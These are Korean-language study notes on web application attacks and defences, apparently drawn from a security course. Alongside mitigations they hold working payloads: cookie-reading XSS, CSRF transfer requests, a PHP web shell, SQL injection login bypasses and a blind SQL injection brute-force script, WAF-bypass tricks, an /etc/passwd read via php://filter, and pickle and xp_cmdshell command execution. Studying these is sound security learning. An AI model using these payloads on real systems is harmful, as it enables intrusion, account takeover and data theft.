공격 방법 분류

Server side 공격 방법

  1. Injection (인젝션)
    • 서버의 처리 과정 중 사용자가 입력한 데이터가 시스템의 다른 기능을 주거나 문법적으로 사용되어 발생하는 취약점
    • injection 공격의 종류
      • SQL Injection
      • Command Injection
      • SSTI (Server Side Template Injection)
      • Path Traversal
      • SSRF (Server Side Request Forgery)
    • ORM과 같이 검증된 SQL 라이브러리를 사용하여 방어가 필요하다.
  2. File vulnerability
    • 서버의 파일 시스템에 사용자가 원하는 행위를 할 수 있을 때 발생하는 취약점
    • system(PHP), child_process(Node JS), os.system(Python) 등 OS command를 실행하는 함수를 호출하지 않는 방법이 가장 좋으나, 입력 필터링이나 대체 라이브러리를 사용하는 방법으로 위협을 줄일 수 있다.
  3. Business Logic Vulnerability (비즈니스 로직 취약점)
    • 인젝션, 파일 관련 취약점들과는 다르게 정상적인 흐름을 악용하는 것
  4. Language specific Vulnerability (PHP, Python, NodeJS)
    • 웹 어플리케이션에서 사용하는 언어의 특성으로 인해 발생하는 취약점
  5. Misconfiguration
    • 잘못된 설정으로 인해 발생하는 취약점
      • Debug mode를 설정한 채로 배포하는 경우
      • 임시/백업 파일을 삭제하지 않은 경우
        • 백업파일 종류
          • bak : 백업 파일, 대부분의 에디터에서 사용함
          • config : 설정 파일, 비밀 키들이 존재하는 경우가 많음
          • sql : sql schema 파일, 데이터 베이스 구조를 알아낼 수 있음
          • sh : shell script 파일
          • ~ : bluefish 에디터 백업 파일
        • 서비스와는 무관한 파일들을 제거해서 위협을 없앨 수 있음
    • VCS 프로그램으로 인한 임시 파일들을 정리해야 한다.
      • .git, .hg 등의 파일이 있다.
      • https://github.com/kost/dvcs-ripper 정보를 참조하여 진단이 가능하다.
      • 웹 서버의 설정으로 VCS 파일의 경로의 접근을 막는 방법도 가능하다.
        location ~ /\.(git|hg) {
          deny all;
        }
        
    • 네트워크 바인딩을 0.0.0.0 으로 세팅하는 경우
      • 편의를 위해 세팅한 설정을 운영 환경이 변경되었음에도 그대로 유지하여 발생할 수 있는 취약점이다.
      • 내부 망에서만 접근할 수 있는 서비스는 mask를 제대로 설정 해 주고, 허용할 포트를 제외한 설정은 모두 삭제하도록 하여 위협을 제거한다.

취약점

XSS (Cross Site Scripting)

  • 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행하는 공격이다.
  • XSS 취약점이 존재하는 사이트에 공격자는 origin 권한으로 악성 스크립트가 포함된 페이지를 만들어서 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자의 악성 스크립트가 동작해 정보를 탈취하는 방식이다.

공격 경로

  • XSS 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생한다.
    • 악성 태그를 필터링하는 HTML Sanitization을 사용하거나 엔티티 코드로 치환하는 방법으로 XSS를 예방할 수 있다.
    • Flask는 render_template 함수를 사용하여 인자를 HTML 엔티티코드로 변환하여 출력하는 방식으로 XSS를 방지한다.
  • 아래와 같이 입력값을 그대로 출력하게 되면, 입력값으로 script 를 전달해 공격에 사용할 수 있다.
    • 서버의 코드
      @app.route("/vulnerable")
      def vulnerable():
          param = request.args.get("param", "") # 이용자가 입력한 인자를 가져옴
          return param # 이용자의 입력값을 화면 상에 표시
      
    • 공격자 입력1. 다른 페이지로 redirection
      <script>location.href = "/another_page?param=PARAM1";</script>
      
    • 공격자 입력2. cookie 정보 출력
      <script>document.cookie</script>
      

XSS 공격 종류

  • XSS 는 악성 스크립트의 위치와 침투 경로에 따라 아래와 같이 구분된다.
    • Stored XSS : XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
      • 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식이 있음
      • 불특정 다수에게 보여지기 때문에 파급력이 크다.
    • Reflected XSS : XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
      • 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식이 있음
      • 검색 결과를 응답에 포함하는 일부 서비스에서 발생 가능
      • 공격을 위해서는 다른 이용자를 악성 스크립트가 포함된 링크에 접속하도록 유도해야 함
    • DOM-based XSS : XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS
    • Universal XSS : 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

CSRF (Cross Site Request Forgery)

  • 어떤 사이트에서 이용자의 신원 정보가 포함된 쿠키를 사용한다면, 타인의 쿠키를 탈취하여 변조된 명령을 서버로 번달하는 공격 방식이다.
    • 이용자의 신원 정보가 포함된 쿠키는 일종의 서명과 같은 역할을 하기 때문에, 쿠키가 특정 명령에 대한 이용자의 본인 인증 역할을 수행할 수도 있다.
  • 2차 인증을 수행하지 않고 cookie로만 인증을 하는 사이트에 대해 공격이 가능하다.
  • XSS는 인증 정보인 세션 및 쿠키 탈취를 목적으로 서버에서 스크립트를 실행 하는 방식인 반면, CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격이다.

공격 경로

  • <img> 태그나 <form> 태그를 활용해서 사용자가 의도하지 않은 명령을 서버에 요청하는 script를 실행시킬 수 있다.
    /* img 태그 활용 요청 전달 */
    <img src='http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337' width=0px height=0px>`
    
    /* javascript 공격 예시 */
    /* 새 창 띄우기 */
    window.open('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');
    /* 현재 창 주소 옮기기 */
    location.href = 'http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337';
    location.replace('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');
    

SQL Injection

  • 조작된 SQL 쿼리를 서버에 주입하여 인증을 우회하거나, 데이터베이스의 정보를 유출하는 공격행위
  • Blind SQL Injection : SQL Injection 의 한 종류로, DBMS가 답변 가능한 형태로 질문을 수행하여 스무고개 게임과 같이 정답을 유추해 나가는 공격 기법

NoSQL Injection

  • NoSQL은 데이터 타입으로 ‘오브젝트’ 라는 개념을 갖는다. 오브젝트 타입의 입력값을 처리할 때에는 쿼리 연산자를 사용할 수 있고, 이 부분의 취약점을 활용한 것이 NoSQL Injection 이다.
  • NodeJs를 예를 들면 아래와 같이 url에 object를 대입할 수 있다.
    // 서버 코드 예시
    const express = require('express');
    const app = express();
    app.get('/', function(req,res) {
        console.log('data:', req.query.data, ' / type:', typeof req.query.data);
        res.send('done');
    });
    const server = app.listen(3000, function(){
        console.log('app.listen');
    });
    
    // 결과 예시
    http://localhost:3000/?data=1234
    data: 1234
    type: string
    
    http://localhost:3000/?data[]=1234
    data: [ '1234' ]
    type: object
    
    http://localhost:3000/?data[]=1234&data[]=5678
    data: [ '1234', '5678' ] 
    type: object
    
    http://localhost:3000/?data[5678]=1234
    data: { '5678': '1234' } 
    type: object
    
    http://localhost:3000/?data[5678]=1234&data=0000
    data: { '5678': '1234', '0000': true } 
    type: object
    
    http://localhost:3000/?data[5678]=1234&data[]=0000
    data: { '0': '0000', '5678': '1234' } 
    type: object
    
    http://localhost:3000/?data[5678]=1234&data[1111]=0000
    data: { '1111': '0000', '5678': '1234' } 
    type: object
    
    • 이 방법으로 아래와 같이 ‘data’ 객체 안에 NoSQL 쿼리가 들어가도록 url을 설정할 수도 있다.
      http://localhost:3000/?data[$eq]=A
      data: { "$eq": "A" } 
      type: object
      

Command Injection

  • 공격자가 클라이언트 인터페이스를 통해 서버측에 시스템 명령어를 전달하여 실행시켜 공격을 수행하는 기법
  • PHP의 system, Node JS의 child_process, 파이썬의 os.system 과 같이 시스템 명령어를 수행하는 함수에 이용자가 임의의 인자를 전달할 수 있을 때 발생할 수 있다.
  • 명령어 입력란에 다른 명령어를 입력하는 기법에는 다음의 메타문자 들을 활용할 수 있다.
    1. 명령어 치환
      • 리눅스 쉘에서 `` 사이에 든 문자는 새로운 명령어 라인으로 인식한다.
        • ex) echo `ls`
          • ls 명령어가 실행된다.
      • 리눅스 쉘에서 $() 사이에 든 문자는 새로운 명령어 라인으로 인식한다.
        • ex) echo $(ls)
          • ls 명령어가 실행된다.
    2. 명령어 연속 실행
    • 리눅스 쉘에서 || 를 사용하면, || 앞과 || 뒤를 다른 명령어 라인으로 인식하고 각각 실행한다.
      • 한 줄에 둘 이상의 명령어를 실행시킬 수 있다.
      • ex) mkdir FILE || cd FILE
        • FILE 디렉터리를 만들고 FILE 디렉터리 안으로 이동하는 명령을 한줄로 수행할 수 있다.
    • 리눅스 쉘에서 && 를 사용하면, && 앞과 && 뒤를 다른 명령어 라인으로 인식하고 각각 실행한다.
      • ex) mkdir FILE && cd FILE
        • FILE 디렉터리를 만들고 FILE 디렉터리 안으로 이동하는 명령을 한줄로 수행할 수 있다.
    • 리눅스 쉘에서 ; 를 사용하면, ; 앞과 ; 뒤를 다른 명령어 라인으로 인식하고 각각 실행한다.
      • ex) mkdir FILE ; cd FILE
        • FILE 디렉터리를 만들고 FILE 디렉터리 안으로 이동하는 명령을 한줄로 수행할 수 있다.
    1. 파이프
      • 리눅스 쉘에서 | 를 사용하면 | 앞의 명령어 실행 결과를 | 뒤의 명령어 실행시 입력으로 설정할 수 있다.
        • ex) cat FILE | less
          • FILE 내용을 출력한 것을 less 명령으로 나눠서 볼 수 있도록 한다.
    2. 뒷내용 무시
      • 리눅스 쉘에서 #을 사용하면 # 뒤의 내용은 주석처리되어 무시된다.
        • ex) ls #a"sdfa"sd’fas"’“df
          • 구문 오류 없이 ls 명령이 잘 실행된다.
  • 문자열을 whitelist 처리하거나 blacklist 처리하여 공격을 방어할 수 있다.
    • 정규식을 통해 IP 주소 포멧을 whitelist 로 지정하는 코드
      import re, os, ...
      ...
      chk_ip = re.compile('^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$')
      if bool(chk_ip.match(ip)):
          return run_system(f'ping -c 3 {ip}')
      else:
          return 'ip format error'
      
    • 허용되면 안되는 문자열을 blacklist 로 지정하는 코드
    if '\'' in ip:
        return 'not allowed character'
    return run_system(f'ping -c 3 \'{ip}\'')  # shell command 상에서 모든 입력을 문자열로 처리하는 Single Quotes (')를 사용해야 함
    
  • system(PHP), child_process(Node JS), os.system(Python) 등 OS command를 실행하는 함수 외 대체 라이브러리를 사용하는 방법으로 위협을 줄일 수 있다.

File Vulnerability

  • 공격자의 파일을 웹 서비스의 파일 시스템에 업로드 혹은 하는 과정에서 발생하는 보안 취약점
  • 파일 업로드/다운로드 서비스를 개발시 이용자가 업로드한 파일을 데이터베이스에 저장하는 것보다는 서버의 파일 시스템에 저장하는 것이 개발하기 쉽고, 관리 효율도 높지만 File Vulnerability를 주의해야 한다.
  • 원격 코드 실행, 민감정보 탈취 등이 수행될 수 있다.
  1. File Upload Vulnerability

    • 파일 업로드가 가능한 path 에 제약을 우회하여 임의 디렉터리에 파일을 업로드 할 수 있는 취약점이다.
    • File Upload Vulnerability 중 하나로, 이용자가 업로드될 파일의 이름을 임의로 정할 수 있을 때 발생한다.
    • .. 과 같은 메타 문자를 활용하여 지정된 디렉터리 외의 디렉터리를 참조하는 방식을 취할 수 있다.
    • 악의적인 파일로 html 파일을 수정한다면 Cross-Site-Scripting 공격으로 이어질 수 있다.
    • .php, .jsp, .asp와 같은 파일을 업로드 하면 CGI 를 통해 서버에서 코드를 실행시킬 수도 있다.
    • ex) php web shell example
    <html><body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form><pre>
    <?php
        if(isset($_GET['cmd']))
        {
            system($_GET['cmd']);
        }
    ?></pre></body></html>
    
    • php를 실행시키는 설정파일 예시
    <FilesMatch ".+\.ph(p[3457]?|t|tml)$">
       SetHandler application/x-httpd-php
    </FilesMatch>
    
  2. File Download Vulnerability

    • 파일 이름을 직접 입력 받아 임의 디렉터리에 있는 파일을 다운로드 받을 수 있는 취약점이다.
    • 이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생한다.
  • File Vulnerability 를 방지하려면
    • 정규식을 통해 확장자, 메타문자를 필터링 하는 로직을 사용해 방어가 필요하다.
    • 업로드 디렉터리를 웹 서버에서 직접 접근할 수 없도록 한다.
    • 업로드 디렉터리에서는 CGI가 실행되지 않도록 한다.
    • 다운로드 파일의 이름 대신 파일의 고유 ID를 사용하여 접근하도록 시스템을 구성한다.

SSRF (Server-side Request Forgery)

  • http, gRPC 등 웹 서비스로 전달되는 요청에 이용자의 입력값이 반영되는 경우, 입력값을 변조하여 의도하지 않은 동작을 유발하는 취약점이다.
  • 외부 접속을 허용하면 안되는 백오피스 서비스(관리자 페이지)는 보통 내부망 서비스에서 구동된다. 하지만 웹 서비스가 이상 접근을 탐지하고 즉각 대응하기 위해서는 백오피스 서비스에 명령을 요청할 수 있다. 이 경우, SSRF 공격이 가능하다면 공격자는 외부망에서 내부 서버의 관리자 페이지 기능을 접근할 수 있게 된다.
  • 웹 서비스에서 사용하는 마이크로 서비스의 url 주소가 노출된다면 SSRF 공격에 취약해지므로 주의해야 한다.
  • SSRF 공격은 url 변조, form 입력값 변조, request body 변조 등 다양한 입력값에 메타문자들을 섞어 발동이 가능함에 주의한다.
  • 입력값 필터링과 도메인 IP 검증을 통해 방지가 가능하므로 필수족으로 수행하도록 한다.

path traversal

  • 입력으로 받은 데이터에서 경로값을 변조하여 의도하지 않은 기능을 동작하게 하는 공격 기법이다.
  • ex) 아래 코드는 user_idx 파라미터를 받아서 SERVER_ADDRESS/user/usr API를 호출하는 형태이다.
    @app.route("/v1/api/user/information")
    def user_info():
      user_idx = request.args.get("user_idx", "")
      response = requests.get(f"{INTERNAL_API}/user/{user_idx}")
    
    • 이때, user_idx=../admin 으로 변경한다면, 해당 API는 SERVER_ADDRESS/admin API를 호출하게 된다.
  • ex) 아래 코드는 usr_name 을 파라미터로 받아서 SERVER_ADDRESS/user/search API를 호출한다.
    @app.route("/v1/api/user/search")
    def user_search():
      user_name = request.args.get("user_name", "")
      user_type = "public"
      response = requests.get(f"{INTERNAL_API}/user/search?user_name={user_name}&user_type={user_type}")
    
    • 이때, usesr_name = admin&user_type=admin# 을 대입하면 SERVER_ADDRESS/search?user_name=admin&user_type=admin 구문이 동작된다.
      • url에서 # 이후의 쿼리는 모두 주석처리 되어 버린다.

SSTI (Server Side Template Injection)

  • python과 같은 코드에서 페이지를 구성하기 위해 html 을 string 형태로 미리 정의한 Template에 동적인 값을 넣어 출력하는 경우가 있다.
  • 이때 사용자의 입력 데이터가 Template에 직접 사용될 경우 Template Engine이 실행하는 문법을 사용할 수 있기 때문에 SSTI 취약점이 발생한다.
  • template engine
    • python : Jinja2, Mako, Tornado
    • php : Smarty, Twig
    • javascript : Pug, Marko, EJS
  • 취약한 코드의 예시
    '''<html>
        <body>
            <h3 id="title">{{title}}</h3>
            <h3 id="content">%s</h3>
        </body>
    </html>''' % content
    

Business Logic Vulnerability

  • 정상적인 흐름에서 검증 과정이 없거나 미흡한 부분에 의해 의도하지 않은 기능이 동작하는 취약점
  • IDOR (Insecure Direct Object Reference) : 변조된 파라미터 값이 다른 사용자의 오브젝트 값을 참조하여 발생
    • 객체 참조 시 사용자의 권한을 필히 검증하여야 한다.
    • 로그인 등의 기능을 통해 사용자 인증을 거친 후 사용하는 서비스에서는 사용자 식별을 위한 정보를 사용자의 입력 데이터로 구분하기 보다는 사용자가 요청 시 전달하는 세션을 통해 서버 내에서 처리하는 것이 안전하다.
    • 객체 참조 키를 단순한 숫자가 아닌 무작위 문자 생성 등을 통해 악의적인 공격자가 객체에 참조하기 위한 객체 참조 키를 추측하기 어렵게 만들 수도 있다.
  • Race Condition : 로직의 순서가 잘못되거나, 한 오브젝트에 여러 요청이 동시에 처리되는 상황에서 발생

Language specific Vulnerability

  • 개발 언어에서 제공하는 함수 혹은 문법에서 발생하는 취약점

  • 취약점 발생 함수 종류

    • 코드 실행 함수 (eval)
    • OS command function
    • Filesystem function
    • serialize / deserialize
  • PHP 취약점 발생 함수

    • include

      • 인자로 전달된 파일을 읽은 후 해당 파일의 내용을 출력한다. 파일의 내용 중 PHP 코드로 해석되는 구문이 존재하면 해당 코드를 실행한다.
      • 동적으로 다른 PHP 페이지를 로드해야할 때 주로 사용 하며, include_once, require, require_once 등의 함수와 유사하다.
      • 파일의 확장자 또는 파일의 타입과는 상관없이 파일의 내용에 php 태그가 포함될 경우 php 코드가 실행되기 때문에 사용 시 주의가 필요하다.
      • include할 파일을 사용자의 입력 데이터에 의해 조작될 수 있다면 서버 내의 파일 정보를 출력하거나, 다른 PHP 코드를 실행시킬 수 있게 된다.
      • 서버 로컬 파일을 Include 하는 취약점을 Local File Inclusion(LFI), 외부 자원을 Include 하는 취약점을 Remote File Inclusion(RFI)라 한다.
    • Wrappers

      • include(), fopen(), copy(), file_exists(), filesize() 와 같은 파일 시스템 함수에서 URL style 프로토콜을 위한 함수들이 존재한다.
        • include 함수는 allow_url_include 옵션으로 url 참조 기능을 세팅할 수 있다.
      • file sytem, web URL, RFC 2397 형태의 데이터 등을
      • php 의 url 기능을 활용할 수도 있다.
        • php://stdin, php://stdout, php://stderr : stdin, stdout, stderr로 연결
        • php://fd/<fd number> : file descriptor에 연결
        • php://memory, php://temp : 메모리에 연결
          <?php
          // Set the limit to 5 MB.
          $fiveMBs = 5 * 1024 * 1024;
          $fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');
          fputs($fp, "hello\n");
          
        • php://input : HTTP의 body 즉, POST 데이터를 입력
          <?php
          // HTTP Body Data
          $rawData = file_get_contents("php://input");
          
        • php://filter : I/O 스트림에 특정 필터를 설정
          <?php
          // 데이터 리드 시 대문자로 처리.
          include 'php://filter/read=string.toupper/resource=/etc/passwd';
          /*
          ROOT:X:0:0:ROOT:/ROOT:/USR/BIN/ZSH
          DAEMON:X:1:1:DAEMON:/USR/SBIN:/USR/SBIN/NOLOGIN
          ...
          */
          // 데이터 출력 시 대문자로 처리.
          file_put_contents("php://filter/write=string.toupper/resource=example.txt","Hello World");
          /*
          $ cat example.txt
          HELLO WORLD
          */
          ?>
          
          • read=<filter> : 읽기 동작에 사용할 필터
          • write=<filter> : 쓰기 동작에 사용할 필터
          • resource=<stream name> : 필터링을 설정할 stream 정보
            • include 'php://filter/read=convert.base64-encode/resource=test.php'; : test.php 파일을 읽어서 base64로 인코딩하여 출력하는 구문
    • extract : 배열에서 변수를 추출

      • extract 함수에 사용자의 입력($_GET, $_POST, $_FILES)과 같은 신뢰할 수 없는 데이터가 사용되면 다른 변수를 변조하여 공격에 사용될 수 있다.
        $systemCMD = "ping 127.0.0.1";
        ...
        extract($_GET);
        ...
        system($systemCMD);
        // 사용자 입력으로 systemCMD=id 을 세팅한다면 ping 명령 대신 id 명령이 수행된다.
        
    • Type Juggling : 서로 다른 타입인 변수를 비교 또는 연산 시 자동으로 형변환이 발생하고, 의도치 않은 결과가 발생할 수 있는 위험이 있다.

      $a = "a"; // String
      $b = "2"; // String
      echo $a * 2; // 0
      echo $b * 2; // 4
      
    • Comparison

      • $a == $b : $a와 $b의 값이 같으면 True
      • $a === $b : $a와 $b의 타입과 값이 모두 같으면 True
      • $a != $b : $a와 $b의 값이 다르면 True.
      • $a <> $b : $a와 $b의 값이 다르면 True.
      • $a !== $b : $a와 $b의 타입 또는 값이 다르면 True.
    • session

      • php 에서 session 은 $_SESSION 객체에 PHSESSID 라는 값을 key로 저장되고, session_start 로 시작된 PHP 페이지가 종료될 때 자동으로 세션 변수를 serialize 하여 파일 시스템의 {세션기본경로}/sess_{PHPSESSID값}{세션기본경로}/sess_{PHPSESSID값} 경로에 저장한다.
      • 리눅스라면 보통 /var/lib/php/sessions 경로에 세션 정보가 저장된다.
    • Upload Logic

      • php에서 파일을 업로드 하면 /tmp 경로에 php[a-zA-Z0-9]{6} 형태의 이름을 가진 임시 파일을 생성하고 이를 의도한 위치로 옮기게 된다. 이때 Unhandled exception 이 발생하면 임시 파일은 삭제되지 않고 그대로 유지된다.
      • 이러한 방법으로 /tmp 경로에 공격을 위한 파일을 업로드 할 수 있다.
    • system

    • passthru

    • shell_exec

    • backtick operator (e.g. ls)

    • popen

    • proc_open

    • exec

    • serialize : serialize / deserialize

      • __destruct(객체 소멸시 호출), __wakeup(역직렬화시 호출) 등 Magic Methods 를 이용하여 공격 수행
  • Javascript 취약점 발생 함수

    • Comparison Problem
      • javascript 의 object는 기본적으로 valueOftoString 함수가 있는데, object와 다른 primitive 자료형을 비교할 때 valueOftoString 모두 null 이 아니라면 valueOftoString 보다 우선순위가 높다.
    • Prototype Pollution
      • javascript 는 객체 생성시 prototype 을 명시적으로 상속할 수 있으며, prototype을 정의하지 않는다면 Object.prototype 객체를 상속받는다.
      • 모든 객체는 __proto__ 포인터로 자신이 상속받는 prototype에 접근할 수 있다.
      • 객체의 필드에 대한 참조가 발생했을 때, 해당 객체에 필드가 없다면, __proto__ 포인터에서 해당 필드를 확인하게 된다.
        • ex) x = {a:0, b:1}, y = Object.create(x); // y.a = 0, y.b = 1
      • 참조 : . 을 이용한 참조는 dot notation, [] 을 이용한 참조는 bracket notation 이라 하며, dot notation 에서 사용할 수 없는 문자열(=, ‘, “) 을 사용해야 하는 경우 bracket notation 을 사용할 수 있다.
    • child_process.exec
    • spawn
    • node-serialize : serialize / deserialize
      • 직렬화된 object의 결과에서 내부에 포함된 함수가 역직렬화 과정에서 실행되게 ()를 붙여 실행하면 역직렬화 과정에서 함수가 실행되어 결과가 반영된다.
      • ex)
        serialize_func_1 = {"test":"_$$ND_FUNC$$_function(){ return 'Hello'; }"}
        console.log(serialize.unserialize(serialize_func_1));
        /*
        { test: [Function (anonymous)] }
        */
        serialize.unserialize(serialize_func_1)['test']()
        /*
        'Hello'
        */
        serialize_func_2 = {"test":"_$$ND_FUNC$$_function(){ return 'Hello'; }()"}
        console.log(serialize.unserialize(serialize_func_2));
        /*
        { test: 'Hello' }
        */
        
  • python 취약점 발생 함수

    • eval
    • exec
    • os.system
    • popen
    • subprocess.call
    • run
    • pickle : serialize / deserialize
    • yaml : serialize / deserialize
      • Python Object의 __reduce__ 메소드를 공격에 사용한다.

bypass WAF

  • WAF(Web Application Firewall) 이란 웹 어플리케이션에 특화된 방화벽으로 각종 공격을 탐지하고 접속을 차단할 수 있다.
    • 하지만 WAF는 키워드 기반으로 동작하기 때문에 완벽하지 않다. 키워드 기반 차단 방법의 허점을 노린 공격 방법을 bypass WAF 라 한다.
  1. 대소문자 검사 미흡

    • ex) SeleCt SlEEp(5)
  2. 처리방법 미흡

    • ex) select 를 공백으로 치환할 때, seselectect * from users -> select * from users
  3. 문자열 조작함수 감지 미흡

    • reverse, concat 등 문자열 조작 함수를 사용한 경우를 고려하지 않은 경우
      • ex) reverse('nimda'), concat('ad', 'min')
  4. 연산자 검사 미흡

    • 연산자를 활용해 true 를 만들어 내어 조건을 우회할 수 있다.
      • ex) || 1=1 -> 이전 조건을 무시하고 전체 조건을 참으로 설정
  5. 공백 대체제 탐지 미흡

    • 주석을 공백 대신 사용할 수 있다.
      • ex) SELECT/**/name/**/from/**/users
    • ` 문자(Backtick)를 활용해서 공백없이 쿼리를 사용할 수 있다.
      • ex) SELECT`name`FROM`user`
    • 개행을 활용해 공백을 대체할 수 있다.
      • ex) SELECT\nname\nfrom\nuser
    • 탭을 활용해 공백을 대체할 수 있다.
      • ex) SELECT name from user
  6. ASCII코드를 통한 문자열 우회

    • ex) SELECT 0x616263 구문은 SELECT abc 와 같다.
    • ex) SELECT char(0x61, 0x62, 0x63) 구문은 SELECT abc 와 같다.
  7. URL에 쿼리가 들어가는 경우 인코딩을 통한 문자열 우회

    • %09 : \t
    • %27 : '
    • %2F : /
    • %5C : \
    • %2A : *
    • %20 : (공백)

Security Misconfiguration

  • DBMS 시스템 설정을 잘못 세팅한 경우 발생할 수 있는 취약점이다.
  1. MySQL
    • DBMS에서 my.cnf 파일로 세팅값을 설정한다.
      • secure_file_priv 값은 접근 가능한 파일 경로 권한을 설정한다.
      • select @@secure_file_priv 쿼리로 설정 값을 확인할 수 있다.
  2. MSSQL
    • SELECT name, value, description FROM sys.configurations WHERE name = 'xp_cmdshell' 구문으로 MSSQL의 취약점을 확인 가능하다.
    • 윈도우 os cmd 실행 : EXEC xp_cmdshell "net user";
    • 리눅스 os cmd 실행 : EXEC master.dbo.xp_cmdshell 'ls';
  3. 문자열 비교
    • DBMS마다 대소문자를 같게 취급하거나, 문자열 뒤에 공백이 있어도 같은 문자열로 취급하는 경우가 있다.
    • SQLI 방어를 위해 로직을 세팅할 때 우회 방향이 없도록 주의해야 한다.

Serialize / Deserialize

  • 직렬화는 객체를 저장하기 위해 string으로 표현하는 것이고, 역직렬화는 string을 객체로 변환하는 작업이다.
  • Python 에서 직렬화/역직렬화는 다음과 같이 사용할 수 있다.
    import pickle
    class TestClass:
    ...
    
    classA = TestClass()
    classA_dump = pickle.dumps(classA)  # 직렬화
    
    classA_load = pickle.loads(ClassA_dump)  # 역직렬화
    
  • 이때, 역직렬화는 class 안에 있는 def __reduce__(self): 함수를 호출하여 동작하는데, 이 함수를 재정의 하면
    • ex)
      class TestClass:
        def __reduce__(self):
        	return os.system, ("ls", )
      
  • Redis는 주기적으로 직렬화를 통해 데이터베이스를 저장하고, 그 설정 방법은 아래와 같다.
    CONFIG set dir /var/tmp/redis  # 파일 저장 위치 설정
    CONFIG set dbfilename redis.php  # 저장할 DB와 파일 이름 설정
    SAVE  # 저장
    

공격 기법

innerHTML 을 통한 XSS 취약점 공격

  • 조건: 사용자의 입력을 출력하는 형태를 지닌 시스템
  • 방법: <script> 태그와 공격용 javascript 를 url 파라미터 혹은 request 에 포함시켜 공격용 javascript 가 실행되게 한다.
  • 예시)
    • 서버의 코드
      @app.route("/vulnerable")
      def vulnerable():
          param = request.args.get("param", "") # 이용자가 입력한 인자를 가져옴
          return param # 이용자의 입력값을 화면 상에 표시
      
    • 공격자 입력1. 다른 페이지로 redirection
      <script>location.href = "/another_page?param=PARAM1";</script>
      
    • 공격자 입력2. cookie 정보 출력
      <script>document.cookie</script>
      

innerHTML 을 통한 XSS 취약점 공격2

  • <script> 태그 없이 javascript를 실행시키는 방법
  • 조건 : 서버에 기본적인 XSS 방지 기법이 적용되어 <script> 태그를 주입시킬 수 없는 경우 (ex: render_template 를 사용한 경우)
  • 방법 : <image> 태그의 onerror 필드에 script를 주입한다.
  • 참조
  • 예시)
    • 동작하지 않는 script(XSS공격 실패)
      name = "<script>alert('I am John in an annoying alert!')</script>";
      el.innerHTML = name; // harmless in this case
      
    • 동작하는 script (XSS공격 성공)
      const name = "<img src='x' onerror='alert(1)'>";
      el.innerHTML = name; // shows the alert
      # x라는 경로에 이미지가 없어서 onerror 로 설정된 javascript가 실행된다.
      

SQL Injection

  • 조건 : client 인터페이스에서 서버에서 동작할 SQL 쿼리 값을 조작할 수 있다.
  • 아래 쿼리를 SQL Injection으로 공격하고자 한다면
    SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
    
  • userid 변수와 userpassword 에 아래와 같은 값이 들어가게 입력을 조작하면 ‘admin’ 계정을 탈취할 수 있다.
    /*
    ID: admin"--, PW: DUMMY
    userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
    */
    SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
    
    /*
    ID: admin" or "1 , PW: DUMMY
    userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
    */
    SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
    
    /*
    ID: admin, PW: DUMMY" or userid="admin
    userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
    */
    SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
    
    /*
    ID: " or 1 LIMIT 1,1-- , PW: DUMMY
    userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
    */
    SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
    

Blind SQL Injection

  • 특정 쿼리를 던지고, 쿼리 결과가 존재하는지 여부를 확인하여 password 를 맞춰 나가는 방식
  • 방법
    • 시간 지연 유발
      • RANDOMBLOB(300000000/2)
      • SLEEP(10)
    • 화면 결과에서 특정 키워드 검색
      • python beautifulSoup 사용
      • python request 모듈로 http request 후 결과의 text 구문 비교
  • 글자 위치 추론
    # 첫 번째 글자 구하기
    SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='a'-- ' and upw=''; # False
    SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='b'-- ' and upw=''; # True
    # 두 번째 글자 구하기
    SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='d'-- ' and upw=''; # False
    SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='e'-- ' and upw=''; # True 
    
  • python 자동화
    #!/usr/bin/python3
    import requests
    import string
    # example URL
    url = 'http://example.com/login'
    params = {
        'uid': '',
        'upw': ''
    }
    # ascii printables
    tc = string.printable
    # 사용할 SQL Injection 쿼리
    query = '''admin' and substr(upw,{idx},1)='{val}'-- '''
    password = ''
    # 비밀번호 길이는 20자 이하라 가정
    for idx in range(0, 20):
        for ch in tc:
            # query를 이용하여 Blind SQL Injection 시도
            params['uid'] = query.format(idx=idx+1, val=ch).strip("\n")
            c = requests.get(url, params=params)
            print(c.request.url)
